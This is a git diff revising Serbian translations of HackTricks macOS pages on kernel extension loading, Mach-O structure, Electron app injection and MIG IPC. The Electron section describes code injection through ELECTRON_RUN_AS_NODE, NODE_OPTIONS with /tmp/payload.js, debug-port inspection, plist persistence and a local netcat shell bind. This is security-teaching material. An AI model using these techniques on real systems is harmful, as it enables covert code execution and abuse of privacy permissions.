**`syspolicyd`** će **zatražiti od korisnika** ako ekstenzija prethodno nije učitana. -* **`syspolicyd`** će prijaviti rezultat **`kextd`-u** -4. **`kextd`** će konačno moći da **kaže kernelu da učita** ekstenziju +* Razgovaraće sa **`syspolicyd`**-om da **proveri** da li se ekstenzija može **učitati**. +3. **`syspolicyd`** će **zatražiti od korisnika** potvrdu ako ekstenzija prethodno nije učitana. +* **`syspolicyd`** će prijaviti rezultat **`kextd`**-u +4. **`kextd`** će na kraju moći da **kaže kernelu da učita** ekstenziju Ako **`kextd`** nije dostupan, **`kextutil`** može obaviti iste provere. @@ -54,7 +54,7 @@ Ako **`kextd`** nije dostupan, **`kextutil`** može obaviti iste provere. Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! * Da li radite u **kompaniji za sajber bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **poslednjoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Pogledajte [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-a**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite **zvanični PEASS i HackTricks** [**swag**](https://peass.creator-spring.com) * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live). * **Podelite svoje hakovanje trikove slanjem PR-a na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index 36135e530..244443ac2 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -194,9 +194,9 @@ Primer **sekcione zaglavlje**:
-Ako **dodate** **pomeraj sekcije** (0x37DC) + **pomeraj** gde **arh počinje**, u ovom slučaju `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` +Ako **dodate** **pomeraj sekcije** (0x37DC) + **pomeraj** gde **arhiva počinje**, u ovom slučaju `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` -
+
Takođe je moguće dobiti **informacije o zaglavljima** sa **komandne linije** pomoću: ```bash @@ -209,18 +209,18 @@ Uobičajeni segmenti učitani ovom komandom: * **`__TEXT`**: Sadrži **izvršni** **kod** sa **dozvolama za čitanje** i **izvršavanje** (bez mogućnosti pisanja)**.** Uobičajeni delovi ovog segmenta: * `__text`: Kompajlirani binarni kod * `__const`: Konstantni podaci -* `__cstring`: Konstante stringova +* `__cstring`: String konstante * `__stubs` i `__stubs_helper`: Uključeni tokom procesa dinamičkog učitavanja biblioteka * **`__DATA`**: Sadrži podatke koji su **čitljivi** i **pisivi** (bez mogućnosti izvršavanja)**.** * `__data`: Globalne promenljive (koje su inicijalizovane) * `__bss`: Statičke promenljive (koje nisu inicijalizovane) * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, itd): Informacije koje koristi Objective-C runtime -* **`__LINKEDIT`**: Sadrži informacije za linkera (dyld) kao što su "ulazi tabela simbola, stringova i relokacija." +* **`__LINKEDIT`**: Sadrži informacije za linkera (dyld) kao što su "ulazi simbola, stringova i tabela premeštanja." * **`__OBJC`**: Sadrži informacije koje koristi Objective-C runtime. Iako se ove informacije mogu naći i u segmentu \_\_DATA, unutar različitih \_\_objc\_\* sekcija. ### **`LC_MAIN`** -Sadrži ulaznu tačku u **entryoff atributu**. Prilikom učitavanja, **dyld** jednostavno **dodaje** ovu vrednost na (u memoriji) **bazu binarnog koda**, a zatim **prelazi** na ovu instrukciju kako bi započeo izvršavanje koda binarnog fajla. +Sadrži tačku ulaska u **entryoff atributu**. Prilikom učitavanja, **dyld** jednostavno **dodaje** ovu vrednost na (u memoriji) **bazu binarnog koda**, zatim **skoči** na ovu instrukciju da započne izvršavanje koda binarnog fajla. ### **LC\_CODE\_SIGNATURE** @@ -229,11 +229,11 @@ Međutim, možete pronaći neke informacije o ovoj sekciji u [**ovom blog postu* ### **LC\_LOAD\_DYLINKER** -Sadrži **putanju do izvršne datoteke dinamičkog linkera** koji mapira deljene biblioteke u prostor adresa procesa. Vrednost je uvek postavljena na `/usr/lib/dyld`. Važno je napomenuti da se u macOS-u mapiranje dylib-a dešava u **korisničkom režimu**, a ne u režimu jezgra. +Sadrži **putanju do izvršne datoteke dinamičkog linkera** koji mapira deljene biblioteke u adresni prostor procesa. Vrednost je uvek postavljena na `/usr/lib/dyld`. Važno je napomenuti da se u macOS-u mapiranje dylib-a dešava u **korisničkom režimu**, a ne u režimu jezgra. ### **`LC_LOAD_DYLIB`** -Ova komanda za učitavanje opisuje **zavisnost dinamičke biblioteke** koja **nalaže** učitavaču (dyld) da **učita i poveže navedenu biblioteku**. Postoji LC\_LOAD\_DYLIB komanda za učitavanje **za svaku biblioteku** koju Mach-O binarni fajl zahteva. +Ova komanda za učitavanje opisuje zavisnost od **dinamičke** **biblioteke** koja **nalaže** učitavaču (dyld) da **učita i poveže navedenu biblioteku**. Postoji LC\_LOAD\_DYLIB komanda za učitavanje **za svaku biblioteku** koju Mach-O binarni fajl zahteva. * Ova komanda za učitavanje je struktura tipa **`dylib_command`** (koja sadrži strukturu dylib, opisuje stvarnu zavisnu dinamičku biblioteku): ```objectivec @@ -273,7 +273,7 @@ Ofseti svih konstruktora se čuvaju u sekciji **\_\_mod\_init\_func** segmenta * ## **Mach-O Podaci** -U osnovi fajla se nalazi region podataka, koji se sastoji od nekoliko segmenata definisanih u regionu komandi učitavanja. **Različite sekcije podataka mogu biti smeštene unutar svakog segmenta**, pri čemu svaka sekcija **sadrži kod ili podatke** specifične za tip. +U osnovi fajla leži region podataka, koji se sastoji od nekoliko segmenata definisanih u regionu komandi učitavanja. **Različite sekcije podataka mogu biti smeštene unutar svakog segmenta**, pri čemu svaka sekcija **sadrži kod ili podatke** specifične za tip. {% hint style="success" %} Podaci su zapravo deo koji sadrži sve **informacije** koje se učitavaju pomoću komandi učitavanja **LC\_SEGMENTS\_64** @@ -287,11 +287,11 @@ To uključuje: * **Tabela simbola**: Koja sadrži informacije o eksternim funkcijama koje koristi binarni fajl * Takođe može sadržati interne funkcije, imena promenljivih i još mnogo toga. -Da biste to proverili, možete koristiti alat [**Mach-O View**](https://sourceforge.net/projects/machoview/): +Za proveru možete koristiti alat [**Mach-O View**](https://sourceforge.net/projects/machoview/):
-Ili sa komandne linije: +Ili putem komandne linije: ```bash size -m /bin/ls ``` @@ -301,7 +301,7 @@ size -m /bin/ls Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 847ddef69..5c7b7641c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -23,15 +23,15 @@ I node ima neke **parametre** i **env promenljive** koje se mogu koristiti da bi Ove tehnike će biti razmatrane u nastavku, ali u poslednje vreme Electron je dodao nekoliko **sigurnosnih zastava kako bi ih sprečio**. To su [**Elektronski osigurači**](https://www.electronjs.org/docs/latest/tutorial/fuses) i ovo su oni koji se koriste da **spreče** Electron aplikacije u macOS-u da **učitavaju proizvoljan kod**: -* **`RunAsNode`**: Ako je onemogućeno, sprečava korišćenje env varijable **`ELECTRON_RUN_AS_NODE`** za ubacivanje koda. -* **`EnableNodeCliInspectArguments`**: Ako je onemogućeno, parametri poput `--inspect`, `--inspect-brk` neće biti poštovani. Na taj način se sprečava ubacivanje koda. +* **`RunAsNode`**: Ako je onemogućen, sprečava upotrebu env varijable **`ELECTRON_RUN_AS_NODE`** za ubacivanje koda. +* **`EnableNodeCliInspectArguments`**: Ako je onemogućen, parametri poput `--inspect`, `--inspect-brk` neće biti poštovani. Na taj način se sprečava ubacivanje koda. * **`EnableEmbeddedAsarIntegrityValidation`**: Ako je omogućeno, učitana **`asar`** **datoteka** će biti **validirana** od strane macOS-a. Na ovaj način se **sprečava ubacivanje koda** modifikovanjem sadržaja ove datoteke. * **`OnlyLoadAppFromAsar`**: Ako je ovo omogućeno, umesto traženja za učitavanjem u sledećem redosledu: **`app.asar`**, **`app`** i na kraju **`default_app.asar`**. Proveravaće i koristiće samo app.asar, čime se osigurava da kada se **kombinuje** sa osiguračem **`embeddedAsarIntegrityValidation`** bude **nemoguće** učitati nevalidiran kod. * **`LoadBrowserProcessSpecificV8Snapshot`**: Ako je omogućeno, proces pregledača koristi datoteku nazvanu `browser_v8_context_snapshot.bin` za svoj V8 snimak. Još jedan interesantan osigurač koji neće sprečiti ubacivanje koda je: -* **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano korišćenjem kriptografskih ključeva nivoa OS-a. +* **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano korišćenjem kriptografskih ključeva na nivou OS-a. ### Provera Elektronskih osigurača @@ -49,16 +49,16 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Modifikacija Elektron osigurača +### Modifikacija Elektron Fjuzova -Kako [**dokumentacija navodi**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Elektron osigurača** je podešena unutar **Elektron binarnog koda** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Kako [**dokumentacija navodi**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Elektron Fjuzova** je podešena unutar **Elektron binarnog koda** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. U macOS aplikacijama, ovo se obično nalazi u `aplikacija.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Možete učitati ovaj fajl na [https://hexed.it/](https://hexed.it/) i pretražiti prethodni string. Nakon ovog stringa možete videti u ASCII formatu broj "0" ili "1" koji pokazuje da li je svaka osigurač isključen ili uključen. Samo modifikujte heksadecimalni kod (`0x30` je `0` i `0x31` je `1`) da **modifikujete vrednosti osigurača**. +Možete učitati ovaj fajl na [https://hexed.it/](https://hexed.it/) i pretražiti prethodni string. Nakon ovog stringa možete videti u ASCII formatu broj "0" ili "1" koji pokazuje da li je svaka osigurač isključen ili uključen. Samo izmenite heksadecimalni kod (`0x30` je `0` i `0x31` je `1`) da **izmenite vrednosti osigurača**.
@@ -66,13 +66,13 @@ Imajte na umu da ako pokušate **prepisati** **binarni fajl Electron Framework-a ## RCE dodavanje koda u Electron aplikacije -Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubaciti kod u ove fajlove čiji potpis neće biti proveren i izvršiti proizvoljan kod u kontekstu aplikacije. +Može postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubaciti kod u ove fajlove čiji potpis neće biti proveren i izvršiti proizvoljan kod u kontekstu aplikacije. {% hint style="danger" %} Međutim, trenutno postoje 2 ograničenja: * Potrebna je dozvola **`kTCCServiceSystemPolicyAppBundles`** da bi se modifikovala aplikacija, tako da po defaultu ovo više nije moguće. -* Kompajlirani fajl **`asap`** obično ima osigurače **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene` +* Kompajlirani **`asap`** fajl obično ima osigurače **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene` Što ovaj put napada čini složenijim (ili nemogućim). {% endhint %} @@ -89,7 +89,7 @@ npx asar pack app-decomp app-new.asar ``` ## RCE sa `ELECTRON_RUN_AS_NODE` -Prema [**dokumentaciji**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), ako je ova promenljiva okoline postavljena, pokrenuće proces kao običan Node.js proces. +Prema [**dokumentaciji**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), ako je ova env promenljiva postavljena, pokrenuće proces kao normalan Node.js proces. ```bash # Run this ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord @@ -102,7 +102,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ Ako je fjuž **`RunAsNode`** onemogućen, promenljiva okruženja **`ELECTRON_RUN_AS_NODE`** će biti ignorisana, i ovo neće raditi. {% endhint %} -### Injekcija iz App Plist datoteke +### Injekcija iz App Plist-a Kao što je [**predloženo ovde**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), možete zloupotrebiti ovu promenljivu okruženja u plist datoteci kako biste održali postojanost: ```xml @@ -143,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di {% endcode %} {% hint style="danger" %} -Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **ignorisati** env var **NODE\_OPTIONS** prilikom pokretanja, osim ako je postavljena env varijabla **`ELECTRON_RUN_AS_NODE`**, koja će takođe biti **ignorisana** ako je osigurač **`RunAsNode`** onemogućen. +Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **ignorisati** promenljivu okoline **NODE\_OPTIONS** prilikom pokretanja, osim ako promenljiva okoline **`ELECTRON_RUN_AS_NODE`** nije postavljena, što će takođe biti **ignorisano** ako je osigurač **`RunAsNode`** onemogućen. Ako ne postavite **`ELECTRON_RUN_AS_NODE`**, dobićete **grešku**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` {% endhint %} ### Injekcija iz App Plist-a -Možete zloupotrebiti ovu env varijablu u plist datoteci da biste održali upornost dodavanjem ovih ključeva: +Možete zloupotrebiti ovu promenljivu okoline u plist datoteci kako biste održali upornost dodavanjem ovih ključeva: ```xml EnvironmentVariables @@ -168,7 +168,7 @@ Možete zloupotrebiti ovu env varijablu u plist datoteci da biste održali uporn ``` ## RCE sa inspekcijom -Prema [**ovom**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) izvoru, ako pokrenete Electron aplikaciju sa zastavicama poput **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, biće otvoren **debug port** na koji možete da se povežete (na primer iz Chrome-a na `chrome://inspect`) i bićete u mogućnosti da **ubacite kod u nju** ili čak pokrenete nove procese.\ +Prema [**ovom**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) izvoru, ako pokrenete Electron aplikaciju sa zastavicama poput **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, **otvoren će biti debug port** na koji možete da se povežete (na primer iz Chrome-a na `chrome://inspect`) i bićete u mogućnosti da **ubacite kod u nju** ili čak pokrenete nove procese.\ Na primer: {% code overflow="wrap" %} @@ -197,9 +197,9 @@ print(ws.recv() ``` U [**ovom blog postu**](https://hackerone.com/reports/1274695), ovaj debagovanje je zloupotrebljen da bi headless chrome **preuzeo proizvoljne datoteke na proizvoljne lokacije**. -### Injekcija iz App Plist datoteke +### Injekcija iz App Plist-a -Mogli biste zloupotrebiti ovu env promenljivu u plist datoteci da biste održali upornost dodavanjem ovih ključeva: +Mogli biste zloupotrebiti ovu env promenljivu u plist-u da biste održali upornost dodavanjem ovih ključeva: ```xml ProgramArguments @@ -213,7 +213,7 @@ Mogli biste zloupotrebiti ovu env promenljivu u plist datoteci da biste održali ``` -## Bypass TCC korišćenjem starijih verzija +## Bypass TCC koristeći starije verzije {% hint style="success" %} TCC daemon sa macOS-a ne proverava izvršenu verziju aplikacije. Dakle, ako **ne možete ubaciti kod u Electron aplikaciju** pomoću bilo koje od prethodnih tehnika, možete preuzeti prethodnu verziju APLIKACIJE i ubaciti kod u nju jer će i dalje dobiti TCC privilegije (osim ako Trust Cache to sprečava). @@ -221,8 +221,8 @@ TCC daemon sa macOS-a ne proverava izvršenu verziju aplikacije. Dakle, ako **ne ## Pokretanje ne-JS koda -Prethodne tehnike će vam omogućiti da pokrenete **JS kod unutar procesa elektronske aplikacije**. Međutim, zapamtite da **dečiji procesi pokreću isti sandbox profil** kao roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\ -Stoga, ako želite zloupotrebiti privilegije da pristupite kameri ili mikrofonu na primer, jednostavno možete **pokrenuti drugi binarni fajl iz procesa**. +Prethodne tehnike će vam omogućiti da pokrenete **JS kod unutar procesa elektronske aplikacije**. Međutim, zapamtite da **dečiji procesi pokreću isti sandbox profil** kao i roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\ +Stoga, ako želite zloupotrebiti privilegije da pristupite kameri ili mikrofonu na primer, možete jednostavno **pokrenuti drugi binarni fajl iz procesa**. ## Automatsko ubacivanje @@ -276,7 +276,7 @@ Shell binding requested. Check `nc 127.0.0.1 12345` Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index b07fe8ff7..be5d3833a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -6,15 +6,15 @@ Drugi načini da podržite HackTricks: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -MIG je kreiran kako bi **simplifikovao proces kreiranja koda za Mach IPC**. On u osnovi **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre. +MIG je kreiran kako bi **simplifikovao proces kreiranja koda za Mach IPC**. U osnovi, **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre. ### Primer @@ -37,7 +37,7 @@ n2 : uint32_t); ``` {% endcode %} -Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali funkciju Oduzmi: +Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali Subtract funkciju: ```bash mig -header myipcUser.h -sheader myipcServer.h myipc.defs ``` @@ -66,35 +66,31 @@ myipc_server_routine, {% tab title="myipcServer.h" %} -## macOS MIG (Mach Interface Generator) +### macOS MIG (Mach Interface Generator) -MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle the communication between processes. MIG interfaces are defined in .defs files, which are then processed by MIG to generate the necessary code. +MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. MIG is commonly used in macOS for system services and kernel extensions. -### Example: +#### Example of a MIG definition file: ```c -#include -#include -#include "myipcServer.h" - -kern_return_t myipc_server(mach_port_t server_port); - -int main() { - mach_port_t server_port; - kern_return_t kr = bootstrap_check_in(bootstrap_port, "com.example.myipc", &server_port); - if (kr != KERN_SUCCESS) { - return 1; - } - - myipc_server(server_port); - - return 0; -} +routine myipc_sample_routine { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t port; + mach_msg_trailer_t trailer; +} -> { + mach_msg_header_t Head; + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t port; + mach_msg_trailer_t trailer; +}; ``` -In the example above, `myipc_server` is a function generated by MIG that handles the IPC communication for the server. The server registers itself with the bootstrap server using `bootstrap_check_in` and then starts handling IPC requests. +In the example above, `myipc_sample_routine` is a MIG routine that defines the structure of the message for inter-process communication. -MIG is a powerful tool for handling IPC in macOS, but it can also introduce security risks if not implemented correctly. It's important to carefully review and secure MIG interfaces to prevent privilege escalation and other security vulnerabilities. +MIG simplifies the development of IPC mechanisms in macOS by automatically generating the necessary code for message passing between processes. This automation helps in reducing errors and streamlining the IPC implementation process. + +By understanding how MIG works, security researchers can analyze and identify potential vulnerabilities in macOS IPC mechanisms and enhance the overall security posture of the system. {% endtab %} ```c @@ -109,9 +105,6 @@ struct routine_descriptor /* Array of routine descriptors */ routine[1]; } SERVERPREFmyipc_subsystem; ``` -{% endtab %} -{% endtabs %} - Na osnovu prethodne strukture, funkcija **`myipc_server_routine`** će dobiti **ID poruke** i vratiti odgovarajuću funkciju koja treba da se pozove: ```c mig_external mig_routine_t myipc_server_routine @@ -129,14 +122,14 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine; ``` U ovom primeru smo definisali samo 1 funkciju u definicijama, ali da smo definisali više funkcija, bile bi unutar niza **`SERVERPREFmyipc_subsystem`** i prva bi bila dodeljena ID-u **500**, druga ID-u **501**... -Zapravo je moguće identifikovati ovaj odnos u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**: +Zapravo je moguće identifikovati ovu vezu u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**: ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ { "Subtract", 500 } #endif ``` -Konačno, još jedna važna funkcija koja će omogućiti rad servera će biti **`myipc_server`**, koja će zapravo **pozvati funkciju** povezanu sa primljenim ID-om: +Konačno, još jedna važna funkcija koja će omogućiti rad servera biće **`myipc_server`**, koja će zapravo **pozvati funkciju** povezanu sa primljenim ID-om:
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -208,17 +201,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
 ```
 {% endtab %}
 
-{% tab title="myipc_client.c" %} 
-
-### macOS MIG (Mach Interface Generator)
-
-MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. By understanding and manipulating MIG interfaces, an attacker can abuse IPC mechanisms to escalate privileges or perform other malicious actions.
-
-#### Translation:
-
-### macOS MIG (Mach Interface Generator)
-
-MIG (Mach Interface Generator) je alat koji se koristi za definisanje međuprocesne komunikacije (IPC) za macOS. Generiše kôd klijenta i servera za IPC zasnovan na porukama. Razumevanjem i manipulacijom MIG interfejsa, napadač može zloupotrebiti IPC mehanizme kako bi eskalirao privilegije ili izvršio druge zlonamerne radnje.
+{% tab title="myipc_client.c" %}
 ```c
 // gcc myipc_client.c myipcUser.c -o myipc_client
 
@@ -247,11 +230,11 @@ USERPREFSubtract(port, 40, 2);
 
 Pošto mnogi binarni fajlovi sada koriste MIG za izlaganje mach portova, interesantno je znati kako **identifikovati da je MIG korišćen** i **funkcije koje MIG izvršava** sa svakim ID-jem poruke.
 
-[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršenje:
+[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršavanje:
 ```bash
 jtool2 -d __DATA.__const myipc_server | grep MIG
 ```
-Ranije je pomenuto da će funkciju koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
+Ranije je pomenuto da će funkcija koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
 
 {% tabs %}
 {% tab title="myipc_server dekompilirano 1" %}
@@ -268,7 +251,7 @@ var_18 = arg1;
 if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
 // Poziv funkciji sign_extend_64 koja može pomoći u identifikaciji ove funkcije
-// Ovo čuva u rax pokazivač na poziv koji treba pozvati
+// Ovo čuva u rax pokazivač na poziv koji treba biti izvršen
 // Proverite upotrebu adrese 0x100004040 (niz adresa funkcija)
 // 0x1f4 = 500 (početni ID)
             rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
@@ -340,7 +323,7 @@ if (CPU_FLAGS & NE) {
 r8 = 0x1;
 }
 }
-// Ista if else struktura kao u prethodnoj verziji
+// Isto if else kao u prethodnoj verziji
 // Proverite upotrebu adrese 0x100004040 (niz adresa funkcija)
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
@@ -372,12 +355,12 @@ return r0;
 {% endtab %}
 {% endtabs %}
 
